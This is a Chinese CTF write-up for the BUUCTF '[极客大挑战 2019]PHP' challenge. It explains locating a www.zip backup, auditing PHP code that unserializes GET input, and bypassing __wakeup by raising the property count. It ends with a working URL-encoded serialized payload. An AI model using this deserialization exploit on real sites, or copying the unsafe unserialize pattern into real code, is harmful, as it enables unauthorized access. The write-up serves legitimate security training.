[极客大挑战 2019]PHP
题目链接：https://buuoj.cn/challenges#[极客大挑战 2019]PHP
打开环境后如下所示。
题目提示 "有一个良好的备份网站的习惯"，因此，尝试爆破一下可能的备份文件名（如：backup.zip、www.zip 等）。
发现该网站的备份文件名为 "www.zip"，下载后，主要有 "index.php" 与 "class.php" 两个源码文件需要审计。
// index.php
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<title>I have a cat!</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel="stylesheet" href="style.css">
</head>
<style>
#login{
position: absolute;
top: 50%;
left:50%;
margin: -150px 0 0 -150px;
width: 300px;
height: 300px;
}
h4{
font-size: 2em;
margin: 0.67em 0;
}
</style>
<body>
<div id="world">
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳，所以我有一个良好的备份网站的习惯
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我！！！
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
</div>
<div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script src="index.js"></script>
</body>
</html>
// class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
可以看到，这一题考察的是选手的基础的 PHP 反序列化知识，源码中要求反序列化后的变量 "username" 为 "admin"，"password" 为 100，但是又存在 __wakeup 函数来初始化变量 "username" 的值，因此说本题的主要考点在于如何绕过 __wakeup 函数的执行。
__wakeup 函数存在一个特性，即，当序列化的字符串中表示对象属性个数的值大于真实的属性个数时，会跳过 __wakeup 魔术方法的执行。
因此，使用如下 PHP 代码，生成一个序列化内容。
<?php
header("Content-type: text/html; charset=gb2312");
class Name
{
private $username = 'admin';
private $password = 100;
}
$demo = new Name();
$demo_serialize = serialize($demo);
$fp1 = fopen("serialize.txt","a");
fwrite($fp1,$demo_serialize);
fclose($fp1);
$fp2 = fopen("(URL Encode)serialize.txt","a");
fwrite($fp2,urlencode($demo_serialize));
fclose($fp2);
?>
这样，将生成序列化内容：O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D。再根据序列化的规则（O:对象名的长度:"对象名":对象属性个数:{s:属性名的长度:"属性名";s:属性值的长度:"属性值";}），将生成的序列化内容中的 Name 类的对象属性个数从 2 改为 3，即：O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D，发送给后端，即可让后端输出 flag。
